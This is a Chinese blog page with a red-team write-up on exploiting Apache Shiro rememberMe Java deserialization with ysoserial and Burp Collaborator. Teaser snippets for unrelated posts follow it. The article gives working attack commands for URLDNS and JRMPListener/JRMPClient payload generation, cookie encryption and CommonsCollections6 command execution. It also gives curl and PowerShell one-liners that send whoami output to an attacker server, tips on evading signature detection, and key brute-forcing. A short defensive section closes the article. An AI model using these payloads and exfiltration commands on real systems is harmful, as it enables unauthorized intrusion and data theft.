news 2026/4/30 3:18:33

从ysoserial到实战:一次完整的Java反序列化漏洞利用复盘(含Burp Collaborator配置)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从ysoserial到实战:一次完整的Java反序列化漏洞利用复盘(含Burp Collaborator配置)

从ysoserial到实战:一次完整的Java反序列化漏洞利用复盘

在渗透测试领域,Java反序列化漏洞一直是攻击者最青睐的攻击向量之一。这种漏洞之所以危险,是因为它往往存在于应用的核心组件中,且利用门槛相对较低。记得去年在一次红队演练中,我遇到一个看似普通的Java Web应用,最终却通过反序列化漏洞拿下了整个内网权限。本文将还原那次实战过程,重点分享从漏洞发现到完整利用的每个技术细节。

1. 环境准备与工具链搭建

工欲善其事,必先利其器。在开始漏洞利用前,需要准备以下工具和环境:

  • ysoserial:主攻Java反序列化的瑞士军刀,支持多种payload生成
  • Burp Suite Professional:必备的渗透测试工具,特别是Collaborator功能
  • Java 8+开发环境:建议使用与目标相近的JDK版本
  • Shiro反序列化利用工具:用于加密payload的特殊工具

安装ysoserial最简单的方式是直接克隆GitHub仓库并编译:

git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn clean package -DskipTests

提示:在实际渗透中,建议对ysoserial进行定制化修改以避免特征检测。常见的修改包括更改类名、添加垃圾代码等。

Burp Collaborator的配置往往被初学者忽视,但它对漏洞验证至关重要。在Burp Suite中:

  1. 进入"Burp" → "Collaborator client"
  2. 点击"Copy to clipboard"获取 Collaborator 域名
  3. 保持Collaborator客户端运行状态

2. 漏洞发现与初步验证

发现Shiro反序列化漏洞通常从识别rememberMe cookie开始。在Burp中拦截登录请求时,如果响应中包含如下Set-Cookie头部,就可能存在漏洞:

Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT

验证漏洞存在与否的黄金法则是使用URLDNS payload。这个payload的优势是:

  • 不依赖特定第三方库
  • 仅触发DNS查询,不执行命令
  • 几乎不会对目标造成影响

生成payload的命令如下:

java -jar ysoserial.jar URLDNS "http://your-subdomain.burpcollaborator.net" > urldns.ser

接下来需要使用Shiro专用工具对payload进行AES加密:

java -jar shiro-exp.jar encrypt urldns.ser

将输出的rememberMe值替换到请求Cookie中发送。如果Burp Collaborator收到DNS查询,就确认漏洞存在。

3. 深入利用:从验证到RCE

确认漏洞后,真正的挑战是获取远程代码执行(RCE)。这里需要分阶段进行:

3.1 JRMP监听器搭建

在公网服务器上启动JRMP监听器是常见手法。以下命令会在端口1099启动监听,使用CommonsCollections6链执行命令:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "ping your-subdomain.burpcollaborator.net"

注意:选择正确的gadget链至关重要。CommonsCollections6在大多数环境下可用,但有时需要尝试其他链如CommonsCollections1、3等。

3.2 生成JRMPClient payload

接着生成指向我们监听器的序列化payload:

java -jar ysoserial.jar JRMPClient "your-server-ip:1099" > jrmp.ser

同样需要加密这个payload:

java -jar shiro-exp.jar encrypt jrmp.ser

3.3 触发漏洞

将加密后的payload作为rememberMe cookie发送。成功时会发生以下链式反应:

  1. 目标服务器反序列化JRMPClient payload
  2. 服务器尝试连接我们的JRMP监听器
  3. 监听器返回恶意序列化对象
  4. 目标服务器再次反序列化,执行预设命令

如果一切顺利,Burp Collaborator会收到DNS或HTTP请求,确认命令执行成功。

4. 实战中的疑难排解

在实际渗透中,很少有一次成功的案例。以下是常见问题及解决方案:

问题1:Collaborator收到DNS查询但无命令执行

可能原因:

  • 目标缺少相应的gadget链依赖
  • 网络防火墙阻止了JRMP连接
  • Shiro版本较新,密钥已变更

解决方案表

现象可能原因验证方法解决方案
有DNS无RCE依赖缺失检查目标lib目录尝试不同gadget链
完全无响应密钥错误测试多个常见密钥暴力破解密钥
间歇性成功网络限制尝试不同端口使用HTTP协议代替JRMP

问题2:命令执行但无回显

这时需要构造带外(OOB)数据外传。例如:

curl http://your-server-ip:8080/$(whoami | base64)

或者在Windows系统上:

powershell -c "Invoke-WebRequest -Uri http://your-server-ip:8080/$(whoami)"

5. 防御建议与检测方法

了解了攻击手法后,如何防御这类漏洞同样重要。以下是一些有效的防护措施:

  • 升级Shiro:确保使用最新版本,官方已修复已知反序列化问题
  • 更换默认密钥:修改Shiro的AES加密密钥,防止攻击者使用常见密钥
  • 输入过滤:对rememberMe cookie进行严格验证
  • JEP 290:在Java环境中启用序列化过滤器

检测系统是否 vulnerable 的简单方法:

// 示例检测代码片段 try { ObjectInputStream ois = new ObjectInputStream(inputStream); ois.readObject(); // 如果代码执行到这里,说明反序列化未被过滤 logger.warn("Unsafe deserialization enabled!"); } catch (Exception e) { // 安全配置会抛出异常 }

在一次真实的渗透测试中,正是通过这种反序列化漏洞,我从一个边缘系统逐步深入,最终获得了整个网络的控制权。整个过程耗时约3天,其中大部分时间花在各种异常情况的排查上。记得在最后阶段,目标系统使用了自定义的类加载器,导致标准payload失效。通过分析目标应用的lib目录,发现了一个冷门的XML解析库,最终利用其特性构造了特殊的gadget链才取得成功。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/30 3:17:38

挖到一个好用的双语字幕插件

讯飞同传双语字幕插件是依托科大讯飞核心语音识别与翻译技术打造的AI辅助工具,核心定位是打破跨语言沟通壁垒,为多场景提供实时、精准的双语字幕支持,适配个人、企业及专业场合的多样化需求,其核心功能、适配场景及实用特点如下&a…

作者头像 李华
网站建设 2026/4/30 3:11:22

不只是扫一扫:用Python PIL库把二进制字符串‘画’成二维码的几种方法

不只是扫一扫:用Python PIL库把二进制字符串‘画’成二维码的几种方法 在数据可视化的世界里,二维码早已超越了简单的扫码功能。当我们需要将一长串二进制数据直观呈现时,将其转换为二维码图像不仅美观,还能保留原始数据的可读性。…

作者头像 李华
网站建设 2026/4/30 3:07:21

Windows开发者的Podman避坑实录:从WSL安装失败到成功运行第一个容器

Windows开发者的Podman避坑实录:从WSL安装失败到成功运行第一个容器 第一次在Windows上尝试Podman时,我本以为按照官方文档一步步操作就能轻松搞定。没想到从WSL安装到Podman初始化,每一步都暗藏玄机。这篇文章记录了我踩过的坑和最终验证有…

作者头像 李华
网站建设 2026/4/30 3:05:23

马斯克说的“第一性原理“是什么?

1、家庭的第一性原理是经济,不是感情 2、职场的第一性原理是价值,不是努力 3、教育的第一性原理是培养能力,不是分数 4、健康的第一性原理是自律,不是医疗 5、创业的第一性原理是市场需求,不是个人喜好 6、投资的第一性…

作者头像 李华
网站建设 2026/4/30 3:02:58

IM3523 是日本日置 HIOKI IM3523 LCR测试仪

IM3523是日本HIOKI日置生产的LCR测试仪,主要用于生产线和自动化测试领域,具备高速测量、高精度及多参数测试功能。 ‌核心性能 ‌测量频率‌:1MHz至3GHz,最快测试时间0.5ms(模拟测量) ‌‌精度‌&#xff1…

作者头像 李华